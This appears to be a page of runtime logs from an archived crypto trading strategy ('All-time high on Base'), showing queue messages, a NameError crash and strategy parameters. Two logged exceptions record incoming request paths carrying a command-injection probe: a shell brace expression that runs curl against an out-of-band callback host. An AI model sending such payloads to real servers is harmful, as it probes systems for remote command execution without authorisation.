Strategy icon

All-time high on Base archivedbeta

Momentum strategy buying tokens breaching their all-time highs

Strategy Logs

Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Web server returned an error: 501 {'detail': 'Image data not available. It will be generated on the first strategy cycle.'}
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
"Exception while serving /\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿\x08·\x06\x08;{curl,http://d6kr47l9namneg7mt3b0k6f4p5oakdsz9.oast.pro+-H+'User-Agent:+EPwuoz'};\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿\x08·\x06\x08;{curl,http://d6kr47l9namneg7mt3b0gsfy353y64hsi.oast.pro+-H+'User-Agent:+EPwuoz'};"
Traceback (most recent call last): (22 lines) File "/usr/local/lib/python3.14/site-packages/waitress/channel.py", line 428, in service task.service() ~~~~~~~~~~~~^^ File "/usr/local/lib/python3.14/site-packages/waitress/task.py", line 168, in service self.execute() ~~~~~~~~~~~~^^ File "/usr/local/lib/python3.14/site-packages/waitress/task.py", line 434, in execute app_iter = self.channel.server.application(environ, start_response) File "/usr/local/lib/python3.14/site-packages/waitress/proxy_headers.py", line 64, in translate_proxy_headers return app(environ, start_response) File "/usr/local/lib/python3.14/site-packages/webtest/http.py", line 82, in wrapper return self.test_app(environ, start_response) ~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/sentry_sdk/utils.py", line 1841, in runner return sentry_patched_function(*args, **kwargs) File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/pyramid.py", line 135, in sentry_patched_wsgi_call return middleware(environ, start_response) File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/wsgi.py", line 134, in __call__ reraise(*_capture_exception()) ~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/sentry_sdk/utils.py", line 1784, in reraise raise value File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/wsgi.py", line 127, in __call__ response = self.app( environ, ...<2 lines>... ), ) File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/pyramid.py", line 129, in sentry_patched_inner_wsgi_call reraise(*einfo) ~~~~~~~^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/sentry_sdk/utils.py", line 1784, in reraise raise value File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/pyramid.py", line 125, in sentry_patched_inner_wsgi_call return old_wsgi_call(self, environ, start_response) File "/usr/local/lib/python3.14/site-packages/pyramid/router.py", line 270, in __call__ response = self.execution_policy(environ, self) File "/usr/local/lib/python3.14/site-packages/pyramid/router.py", line 276, in default_execution_policy return router.invoke_request(request) ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/pyramid/router.py", line 245, in invoke_request response = handle_request(request) File "/usr/src/trade-executor/tradeexecutor/webhook/http_log.py", line 44, in log_tween http_logger.info("HTTP request #%d %s (%s): %s by %s", req_id, ip_addr, country, request.url, user_agent) ^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/request.py", line 495, in url url = self.path_url ^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/request.py", line 467, in path_url bpath_info = bytes_(self.path_info, self.url_encoding) ^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/descriptors.py", line 70, in fget return req.encget(key, encattr=encattr) ~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/request.py", line 165, in encget return bytes_(val, 'latin-1').decode(encoding) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 2: invalid continuation byte
"Exception while serving /\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿d¸\x06\x08;{curl,http://d6kr47l9namneg7mt3b0rw7mrn4118rhk.oast.pro+-H+'User-Agent:+EPwuoz'};\x04×\x7f¿\x18Ø\x7f¿\x18Ø\x7f¿d¸\x06\x08;{curl,http://d6kr47l9namneg7mt3b0f5ft9ahuphmz3.oast.pro+-H+'User-Agent:+EPwuoz'};"
Traceback (most recent call last): (22 lines) File "/usr/local/lib/python3.14/site-packages/waitress/channel.py", line 428, in service task.service() ~~~~~~~~~~~~^^ File "/usr/local/lib/python3.14/site-packages/waitress/task.py", line 168, in service self.execute() ~~~~~~~~~~~~^^ File "/usr/local/lib/python3.14/site-packages/waitress/task.py", line 434, in execute app_iter = self.channel.server.application(environ, start_response) File "/usr/local/lib/python3.14/site-packages/waitress/proxy_headers.py", line 64, in translate_proxy_headers return app(environ, start_response) File "/usr/local/lib/python3.14/site-packages/webtest/http.py", line 82, in wrapper return self.test_app(environ, start_response) ~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/sentry_sdk/utils.py", line 1841, in runner return sentry_patched_function(*args, **kwargs) File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/pyramid.py", line 135, in sentry_patched_wsgi_call return middleware(environ, start_response) File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/wsgi.py", line 134, in __call__ reraise(*_capture_exception()) ~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/sentry_sdk/utils.py", line 1784, in reraise raise value File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/wsgi.py", line 127, in __call__ response = self.app( environ, ...<2 lines>... ), ) File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/pyramid.py", line 129, in sentry_patched_inner_wsgi_call reraise(*einfo) ~~~~~~~^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/sentry_sdk/utils.py", line 1784, in reraise raise value File "/usr/local/lib/python3.14/site-packages/sentry_sdk/integrations/pyramid.py", line 125, in sentry_patched_inner_wsgi_call return old_wsgi_call(self, environ, start_response) File "/usr/local/lib/python3.14/site-packages/pyramid/router.py", line 270, in __call__ response = self.execution_policy(environ, self) File "/usr/local/lib/python3.14/site-packages/pyramid/router.py", line 276, in default_execution_policy return router.invoke_request(request) ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/pyramid/router.py", line 245, in invoke_request response = handle_request(request) File "/usr/src/trade-executor/tradeexecutor/webhook/http_log.py", line 44, in log_tween http_logger.info("HTTP request #%d %s (%s): %s by %s", req_id, ip_addr, country, request.url, user_agent) ^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/request.py", line 495, in url url = self.path_url ^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/request.py", line 467, in path_url bpath_info = bytes_(self.path_info, self.url_encoding) ^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/descriptors.py", line 70, in fget return req.encget(key, encattr=encattr) ~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.14/site-packages/webob/request.py", line 165, in encget return bytes_(val, 'latin-1').decode(encoding) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^ UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 2: invalid continuation byte
Main loop terminated. Entering to the web server wait mode. Run-time version was: Trade-executor Docker version: v1244 Commit hash: ff24044d8f4b9d8ded5231d67e1454d573e9f3ed Commit message: Bump eth_defi
NameError("name 'risk_filtered_pairs_df' is not defined")
Traceback (most recent call last): (9 lines) File "/usr/src/trade-executor/tradeexecutor/cli/commands/start.py", line 623, in start loop.run_with_state(state) ~~~~~~~~~~~~~~~~~~~^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1580, in run_with_state return self.run_live(state) ~~~~~~~~~~~~~^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1142, in run_live universe = self.warm_up_live_trading() File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 747, in warm_up_live_trading universe = self.universe_model.preload_universe( self.universe_options, ...<2 lines>... strategy_parameters=self.parameters, ) File "/usr/src/trade-executor/tradeexecutor/strategy/trading_strategy_universe.py", line 2027, in preload_universe return preload_data( self.client, ...<4 lines>... execution_model=execution_model, ) File "/usr/src/trade-executor/tradeexecutor/backtest/data_preload.py", line 58, in preload_data return call_create_trading_universe( create_trading_universe, ...<4 lines>... strategy_parameters=strategy_parameters, ) File "/usr/src/trade-executor/tradeexecutor/strategy/pandas_trader/create_universe_wrapper.py", line 55, in call_create_trading_universe return create_trading_universe(input) File "strategy/base-ath.py", line 368, in create_trading_universe difference = set(benchmark_pair_ids).difference(set(risk_filtered_pairs_df["pair_id"])) ^^^^^^^^^^^^^^^^^^^^^^ NameError: name 'risk_filtered_pairs_df' is not defined. Did you mean: 'filtered_pairs_df'?
trade-executor base-ath execution loop crashed
The execution state was last saved 2026-02-18 10:41:54
Starting with strategy parameters: Parameter Value -------------------------------------- ---------------------------- allocation 0.95 assummed_liquidity_when_data_missings 10000 ath_delay_bars 700 ath_span 60 ath_threshold 1.0 ath_window_bars 150 backtest_end 2025-09-02 00:00:00 backtest_start 2025-02-19 00:00:00 candle_time_bucket TimeBucket.h1 chain_id 8453 cycle_duration CycleDuration.cycle_4h daily_atr_length 20 directional_trade_yield_buffer_pct 0.01 exchanges ('uniswap-v2', 'uniswap-v3') id base-ath individual_rebalance_min_threshold_usd 500.0 initial_cash 100000 max_assets_in_portfolio 10 max_concentration 0.15 min_asset_universe 5 min_from_full_history_ath 0.15 min_portfolio_weight 0.005 min_token_sniffer_score 20 min_tvl 170000 min_tvl_prefilter 170000 min_volume 25000 per_position_cap_of_pool 0.005 required_history_period 1095 days, 0:00:00 rolling_volatility_bars 168 rolling_volume_bars 168 routing TradeRouting.default sell_rebalance_min_threshold 100.0 sell_threshold 0.05 slippage_tolerance 0.01 tvl_ewm_span 168 use_managed_yield True vol_bin_filter vol_bin_filter_lookback 180 vol_bin_level_1_threshold 0.25 yield_flow_dust_threshold 5.0 grid_search False
All-time high on Base (base-ath): trade execution starting
Connected to chain: base, gas pricing method: legacy, providers ['mainnet-sequencer.base.org', 'base-mainnet.g.alchemy.com', 'lb.drpc.org']